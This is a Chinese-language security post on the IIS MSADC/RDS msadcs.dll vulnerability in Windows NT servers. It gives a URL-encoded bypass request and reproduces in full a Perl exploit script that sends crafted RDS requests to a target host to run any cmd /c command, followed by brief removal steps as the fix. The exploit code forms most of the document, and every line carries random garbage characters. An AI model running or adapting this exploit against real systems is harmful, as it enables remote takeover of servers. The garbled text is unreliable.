IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"~'b l+V>]?j 涉及程序:
!"Oh36 Microsoft NT server
&RfC"lc '3uVkp 6tF 描述:
-Z's@'* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
eH{[C* (DI>5.x" 详细:
c"[cNZo 如果你没有时间读详细内容的话,就删除:
MdW]MW{ c:\Program Files\Common Files\System\Msadc\msadcs.dll
<_7*67{ 有关的安全问题就没有了。
Mxv;k%l|E| (SvWvm 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
>rf'-X4n Y=Kc'x[,Zj 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
jbAx;Xt'=M 关于利用ODBC远程漏洞的描述,请参看:
Ftr5k^! pS:4CNI{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1u:<
25 mGK|ihYu 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
.4E&/w+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp I"ok&^t^} ?U2< 这里不再论述。
5rU[Tir <_-hRbS 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
\RG8{G, e7sp =I, /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ax<?GjpM 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
R21b!Pd\ }n>p4W"OM B&n<M]7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
A|<jX} xjKR R? #!perl
ci?qT,& #
r2,.abo # MSADC/RDS 'usage' (aka exploit) script
~
Q. 7VDz #
*Qg _F6y # by rain.forest.puppy
zo4qG+>o #
A\HxDIU # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
PoxK{Y # beta test and find errors!
\nPEyw,U 6G[4rD& use Socket; use Getopt::Std;
~?K ~L~f5 getopts("e:vd:h:XR", \%args);
M`,)w i o!kbK#k print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+%ee8|\ pHLB = r if (!defined $args{h} && !defined $args{R}) {
0Ziw_S\d&s print qq~
YQj 2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
.y!<t} -h <host> = host you want to scan (ip or domain)
[OC5l> -d <seconds> = delay between calls, default 1 second
n>BkTaI -X = dump Index Server path table, if available
MygfT[_ -v = verbose
W*Zkc:{eB -e = external dictionary file for step 5
"@iK'
c^ j+$rj Or a -R will resume a command session
1_PoqD!q O$_)G\\\m ~; exit;}
_`&m\Qe> -zOdU}91Ao $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nn@-W] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0i!uUF if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~A'!2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}dgfqq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
aX)I3^ar if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Q(wx nm pwL;A3$| if (!defined $args{R}){ $ret = &has_msadc;
2^h27A die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/Z'L^L%R J??-j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
K1 EynU
I . "cmd /c ";
)dbB=OZ $in=<STDIN>; chomp $in;
l;R%= P?'F $command="cmd /c " . $in ;
hYPl&^ ,(d)Qg if (defined $args{R}) {&load; exit;}
P5a4ze 2Rw&C6("w print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*|%@6I( &try_btcustmr;
x@P y>f2 _x%7@.TB print "\nStep 2: Trying to make our own DSN...";
{o_X`rgrL &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JEXy%hl U}yW<#$+ print "\nStep 3: Trying known DSNs...";
re/@D@% &known_dsn;
4>F'oqFF k1w_[w[ print "\nStep 4: Trying known .mdbs...";
KHe=O1 %QO &known_mdb;
{> eXR?s/ `^u>9v-+' if (defined $args{e}){
_<k\FU
r print "\nStep 5: Trying dictionary of DSN names...";
}\tdcTMgS &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t3*wjQ3 wvO|UP H\ print "Sorry Charley...maybe next time?\n";
^U
`[(kz= exit;
nzd2zY>V k;K)xb[w | ##############################################################################
HePUWL' PDJr<E? sub sendraw { # ripped and modded from whisker
LLk(l#K* sleep($delay); # it's a DoS on the server! At least on mine...
-G}[AkmS my ($pstr)=@_;
.`HYA*8_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#pP[xE"Y die("Socket problems\n");
jN{Xfjmfv if(connect(S,pack "SnA4x8",2,80,$target)){
QS%%^+E2 select(S); $|=1;
%`>nS@1zp print $pstr; my @in=<S>;
R<\F:9 select(STDOUT); close(S);
>zw.GwN| return @in;
K(q+
" } else { die("Can't connect...\n"); }}
;YA(|h< xbdN0MAU ##############################################################################
a|%J=k>> /qMG=Z sub make_header { # make the HTTP request
l1T m`7} my $msadc=<<EOT
i!J8 d" POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}Mst jm User-Agent: ACTIVEDATA
)2Wi`ZT Host: $ip
pf1BN@
t Content-Length: $clen
vMA]j>> Connection: Keep-Alive
+AR5W(& Ja,wfRq ADCClientVersion:01.06
DgUT5t1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kStnb?nk C<NLE- --!ADM!ROX!YOUR!WORLD!
*^g:P^4 Content-Type: application/x-varg
C`$n[kCJ Content-Length: $reqlen
H\h3TdL 7op`s5i EOT
/ :
L ?~ ; $msadc=~s/\n/\r\n/g;
k9k XyX[ return $msadc;}
Z'4./ _y),J'W^3u ##############################################################################
0xxg|;h.,g Cbg!:Cws sub make_req { # make the RDS request
n!NS(.o my ($switch, $p1, $p2)=@_;
5*j?E my $req=""; my $t1, $t2, $query, $dsn;
@JtM5qB )k\H@Dy%$ if ($switch==1){ # this is the btcustmr.mdb query
RTE8Uq36 $query="Select * from Customers where City=" . make_shell();
6ys
&zy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Fpm|_f7 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
N/Z2hn/m z>XrU>} elsif ($switch==2){ # this is general make table query
W }8'Pf $query="create table AZZ (B int, C varchar(10))";
.LZwuJ^; $dsn="$p1";}
q@Zn|NR *C5R}9O5 elsif ($switch==3){ # this is general exploit table query
eFaO7mz5V% $query="select * from AZZ where C=" . make_shell();
q|j2MV5#g $dsn="$p1";}
TOkp%@9/ f({Ei`| elsif ($switch==4){ # attempt to hork file info from index server
Hw7;;HK
7 $query="select path from scope()";
x,rlrxI $dsn="Provider=MSIDXS;";}
d*jMZ%@uS OHeT,@(mh elsif ($switch==5){ # bad query
[#l*_0 $query="select";
.} q&5v $dsn="$p1";}
->l%TCHP E;Y;z $t1= make_unicode($query);
U>cV| $t2= make_unicode($dsn);
Of" $req = "\x02\x00\x03\x00";
T?x[C4wf+ $req.= "\x08\x00" . pack ("S1", length($t1));
qHuZcht $req.= "\x00\x00" . $t1 ;
%e-7ubW $req.= "\x08\x00" . pack ("S1", length($t2));
P*
w9, $req.= "\x00\x00" . $t2 ;
e8pG"`wM8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
t/cY=Wp return $req;}
~rDZ?~% t; 4]cg:_ ##############################################################################
L;*ljZ^c
1Md sub make_shell { # this makes the shell() statement
6G
#}Q/ return "'|shell(\"$command\")|'";}
fDT%! pimtiQqC ##############################################################################
oXb;w@: b6U2GDm\s sub make_unicode { # quick little function to convert to unicode
_CmOd-y my ($in)=@_; my $out;
qv]}$WU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4x return $out;}
E~]R2!9 )/pU.Z/ ##############################################################################
zG ^$"f2 43mP]*=A sub rdo_success { # checks for RDO return success (this is kludge)
,cB\ my (@in) = @_; my $base=content_start(@in);
vR s,zL$W if($in[$base]=~/multipart\/mixed/){
d/[;
`ZD+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
umiBj)r return 0;}
'eLqlu|T In18_bc ##############################################################################
X~lVVBO N+Y]st+ sub make_dsn { # this makes a DSN for us
\/: {)T~ my @drives=("c","d","e","f");
lu<xv print "\nMaking DSN: ";
.NYbi@bk(< foreach $drive (@drives) {
a0D%k: k5 print "$drive: ";
L3@82yPo! my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
=<?+#-;p "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
v^#~98g] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Dp)=0<$y $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
qU#1i:(F* return 0 if $2 eq "404"; # not found/doesn't exist
_F$aUtb%O if($2 eq "200") {
.P[ _<8 foreach $line (@results) {
D;;!ODX$? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
4lKq{X5< } return 0;}
(NF~Ck$#q ]Q>.HH ##############################################################################
4\Tl\SZ? ,N!o sub verify_exists {
orWbU
UC my ($page)=@_;
_V7r1fY: my @results=sendraw("GET $page HTTP/1.0\n\n");
>pp5;h8! return $results[0];}
FB{KH . OmIg<v0\; ##############################################################################
whi`Z:~ uBNn6j sub try_btcustmr {
]x(e&fyHB my @drives=("c","d","e","f");
-uMSe~ my @dirs=("winnt","winnt35","winnt351","win","windows");
(Iaf?J5{ p<,*3huj foreach $dir (@dirs) {
Exc9`
7%. print "$dir -> "; # fun status so you can see progress
+^=8ge} foreach $drive (@drives) {
@ycDCB(D} print "$drive: "; # ditto
19E8'@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ykV
5 $reqlenlen=length( "$reqlen" );
.J)I | ' $clen= 206 + $reqlenlen + $reqlen;
-jb0o/: e?JW my @results=sendraw(make_header() . make_req(1,$drive,$dir));
uRZ ZxZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a&c6.#E{y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=kJ,%\E` glM$R &/ ##############################################################################
'>cKH$nVC} BD_Iz A<wK sub odbc_error {
YjxF}VI~< my (@in)=@_; my $base;
DU5c=rxW my $base = content_start(@in);
}o(zj=7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
wt!nMQ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%s|}Fz-> $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e4H A7=z $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'98VYCL return $in[$base+4].$in[$base+5].$in[$base+6];}
Y2n!>[[. print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
JBE!j-F print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DW5Y@;[
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
y9q8i(E0 QdL`| ##############################################################################
NG "C&v *AO,^R&e. sub verbose {
eJxw)zd7 my ($in)=@_;
e1%/26\ return if !$verbose;
Q=AavKn# print STDOUT "\n$in\n";}
)Im#dVQs= N/%WsQp ##############################################################################
%E#s\B,w 'p>Ra/4 sub save {
9$cWU_q{ my ($p1, $p2, $p3, $p4)=@_;
L ^q""[ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q"\Z-D0B4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_FH`pv close OUT;}
4]?<hH 9 Al}6q{E9+8 ##############################################################################
p1Jh0o8 ad*m%9Y1Q sub load {
j(m.$: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A#.edVj.g4 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
c~z82iXNO @p=<IN>; close(IN);
OGK}EI $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
~Sj9GxTe $target= inet_aton($ip) || die("inet_aton problems");
* @ 3Ag( print "Resuming to $ip ...";
AL9chYP}/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"i y if($p[1]==1) {
s}w{:Hk,x8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1S{D6#bE $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
oI
}VV6vO my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Uwf+ if (rdo_success(@results)){print "Success!\n";}
G<}()+L else { print "failed\n"; verbose(odbc_error(@results));}}
[<n2Uz7MP elsif ($p[1]==3){
-ws? "_w if(run_query("$p[3]")){
ojcA<60
' print "Success!\n";} else { print "failed\n"; }}
X{5vXT\/y elsif ($p[1]==4){
Bt@^+vH ~ if(run_query($drvst . "$p[3]")){
EK{Eo9l print "Success!\n"; } else { print "failed\n"; }}
C _'%NlJ' exit;}
zr-*$1eu z* ^_)Z ##############################################################################
z[b@V aS{|uE] sub create_table {
A,JmX my ($in)=@_;
@$ne{2J3 $reqlen=length( make_req(2,$in,"") ) - 28;
uaT!(Y6 $reqlenlen=length( "$reqlen" );
I(i}c~R $clen= 206 + $reqlenlen + $reqlen;
[%q@]\U$s my @results=sendraw(make_header() . make_req(2,$in,""));
:flx6,7D return 1 if rdo_success(@results);
\y97W&AN my $temp= odbc_error(@results); verbose($temp);
,]bhy p return 1 if $temp=~/Table 'AZZ' already exists/;
JZ)RGSG i return 0;}
m8A#~i . |,S+@"0# ##############################################################################
;D3C>7y z>LUH sub known_dsn {
NP0\i1P>.? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
LhA*F[6$M my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
`g(Y*uCp "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]OM"ZG/^ "banner", "banners", "ads", "ADCDemo", "ADCTest");
"un]Gc 2GP=&K/A foreach $dSn (@dsns) {
D9<!mH print ".";
^H~h\,;zQ next if (!is_access("DSN=$dSn"));
N(;1o.~ if(create_table("DSN=$dSn")){
:0Bq^G"ge print "$dSn successful\n";
RiDJ> 6S if(run_query("DSN=$dSn")){
SEo'(-5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
h{CL{>d print "Something's borked. Use verbose next time\n";}}} print "\n";}
APvDP? 8L,5Q9
$ ##############################################################################
'}9x\3E 5&QJ7B,! sub is_access {
J1,9kCO my ($in)=@_;
!=pn77`g> $reqlen=length( make_req(5,$in,"") ) - 28;
o*b] p- $reqlenlen=length( "$reqlen" );
1#C4;3i, $clen= 206 + $reqlenlen + $reqlen;
+NeOSQSj my @results=sendraw(make_header() . make_req(5,$in,""));
(jnQ
- my $temp= odbc_error(@results);
3-[q4R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Bn^0^J- return 0;}
T5R-B=YWu 34`'M+3 ##############################################################################
lG9bLiFY *T-<|zQ sub run_query {
02f~En}>6 my ($in)=@_;
:G [|CPm- $reqlen=length( make_req(3,$in,"") ) - 28;
,$@bE $reqlenlen=length( "$reqlen" );
y0Fb_"} $clen= 206 + $reqlenlen + $reqlen;
ojafy} my @results=sendraw(make_header() . make_req(3,$in,""));
U\ ig: return 1 if rdo_success(@results);
n4s+>|\M my $temp= odbc_error(@results); verbose($temp);
A}BVep@D return 0;}
-C;^3R[
O .~)q};Z ##############################################################################
:{PJI, cm&nd'A't sub known_mdb {
SOs:]U-T3 my @drives=("c","d","e","f","g");
)fFb_U my @dirs=("winnt","winnt35","winnt351","win","windows");
Pj[PIz my $dir, $drive, $mdb;
$~~Jw] my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(iBNZ7sJ }QN1|mP2 # this is sparse, because I don't know of many
`EEL1[:BR my @sysmdbs=( "\\catroot\\icatalog.mdb",
Sj-n;F|=X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
&c` nR< "\\system32\\certmdb.mdb",
~xbe~$$Q@ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+dWDxguE{w 8Ry3`ct my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
y_'Ub{w "\\cfusion\\cfapps\\forums\\forums_.mdb",
=qoWCmg"& "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Nu0C;B66 "\\cfusion\\cfapps\\security\\realm_.mdb",
$'0u |Xy` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T] R|qlZ "\\cfusion\\database\\cfexamples.mdb",
XQrF4l "\\cfusion\\database\\cfsnippets.mdb",
5Iy|BRU(% "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ko5 @qNq "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
+s"hqm "\\cfusion\\brighttiger\\database\\cleam.mdb",
gD0eFTN "\\cfusion\\database\\smpolicy.mdb",
#=D) j "\\cfusion\\database\cypress.mdb",
&LmJ!^# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
d)"3K6s|5 "\\website\\cgi-win\\dbsample.mdb",
\n" {qfn`r "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:lX!\(E2 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
9V'%<pk''( ); #these are just
a:+{f& foreach $drive (@drives) {
bo<~jb{ foreach $dir (@dirs){
_ftI*ni:< foreach $mdb (@sysmdbs) {
>lmi@UN|k print ".";
NWP5If|'X if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ZufR{^W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
B5gj_^ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Qf58ig-vCY print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ylUrLQ\ } else { print "Something's borked. Use verbose next time\n"; }}}}}
V@\gS"Tu Okgv!Nt8)A foreach $drive (@drives) {
&*sP/z foreach $mdb (@mdbs) {
NnO~dRx{ print ".";
=31"fS@ if(create_table($drv . $drive . $dir . $mdb)){
ylUb9KusOx print "\n" . $drive . $dir . $mdb . " successful\n";
rjl`&POqc if(run_query($drv . $drive . $dir . $mdb)){
A_n7w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
iy6On,UL } else { print "Something's borked. Use verbose next time\n"; }}}}
]~844Jp }
|VKK#J/ '#!
gh? ##############################################################################
3NZK*!@' ^m
L@e'r sub hork_idx {
d; [C6d print "\nAttempting to dump Index Server tables...\n";
6~OoFm5 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<
|e,05aM $reqlen=length( make_req(4,"","") ) - 28;
w^(<N7B3T $reqlenlen=length( "$reqlen" );
"vA}FV%tRq $clen= 206 + $reqlenlen + $reqlen;
=6xrfDbN8 my @results=sendraw2(make_header() . make_req(4,"",""));
>PB4L_1 if (rdo_success(@results)){
kTKq/G,Ft my $max=@results; my $c; my %d;
}{M#EP8q+ for($c=19; $c<$max; $c++){
dCb`xR} $results[$c]=~s/\x00//g;
"X2 Vrn' $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"BD~xP( $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
A+HF@Uw}^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
rMXN[,|v $d{"$1$2"}="";}
xrlmKSPa foreach $c (keys %d){ print "$c\n"; }
Ok{*fa.PK } else {print "Index server doesn't seem to be installed.\n"; }}
PEc,l>u9 I6~pV@h^= ##############################################################################
_a_7,bk5 aF8fqu\ sub dsn_dict {
MRQ.`IoS open(IN, "<$args{e}") || die("Can't open external dictionary\n");
INUG*JC6 while(<IN>){
h1:aKm! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
f6 |KN+. next if (!is_access("DSN=$dSn"));
r/& sub"X if(create_table("DSN=$dSn")){
Z.d7U~_ print "$dSn successful\n";
Y;nZ=9Sw if(run_query("DSN=$dSn")){
f @8mS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^
K|;~}P print "Something's borked. Use verbose next time\n";}}}
)X04K~6lY print "\n"; close(IN);}
DQMHOd7g l6(-I
Tb ##############################################################################
0$_oT;{8 VQY&g;[d sub sendraw2 { # ripped and modded from whisker
5?p2%KQ sleep($delay); # it's a DoS on the server! At least on mine...
9Kg21-? my ($pstr)=@_;
.7zK@6i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kR]!Vr*yh die("Socket problems\n");
.R)PJc5^ if(connect(S,pack "SnA4x8",2,80,$target)){
}
$uxJB print "Connected. Getting data";
6Z#\CixG open(OUT,">raw.out"); my @in;
fKp#\tCc y select(S); $|=1; print $pstr;
|nbf' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
yvgrIdEP close(OUT); select(STDOUT); close(S); return @in;
iP@ZM=&wz } else { die("Can't connect...\n"); }}
:1 (p.q= 7uT:b!^f[ ##############################################################################
,REJt .P.z B}0= sub content_start { # this will take in the server headers
:,WtR my (@in)=@_; my $c;
iZPCNS" for ($c=1;$c<500;$c++) {
%Rz&lh/ if($in[$c] =~/^\x0d\x0a/){
4VHqBQ4
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
klQC2drS else { return $c+1; }}}
:gerQz4R8 return -1;} # it should never get here actually
jAy^J(+ YhbZ'SJ ##############################################################################
O@MGda9_; T|6jGZS^|W sub funky {
4%2~Wi8 my (@in)=@_; my $error=odbc_error(@in);
PlF87j ( if($error=~/ADO could not find the specified provider/){
I/M _p^ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
I#m-g-J exit;}
xfy1pS.[: if($error=~/A Handler is required/){
uum;q-" print "\nServer has custom handler filters (they most likely are patched)\n";
0q.Ujm=,z exit;}
nt;haeJ if($error=~/specified Handler has denied Access/){
N>Eqj>G print "\nServer has custom handler filters (they most likely are patched)\n";
?q(\=;Y exit;}}
@Ys!DScY, XO-Prs ##############################################################################
xY+VyOUs y_*PQZ$c< sub has_msadc {
+j(d| L\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
I8+~ &V} my $base=content_start(@results);
=8r 0 (c return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
%|^OOU} return 0;}
P&j(,7 /&CmO>^e ########################
K`/`|1 ?."&MZ Ubh{!Y 解决方案:
z\0CE]#T 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
rj6tZJZ#o0 2、移除web 目录: /msadc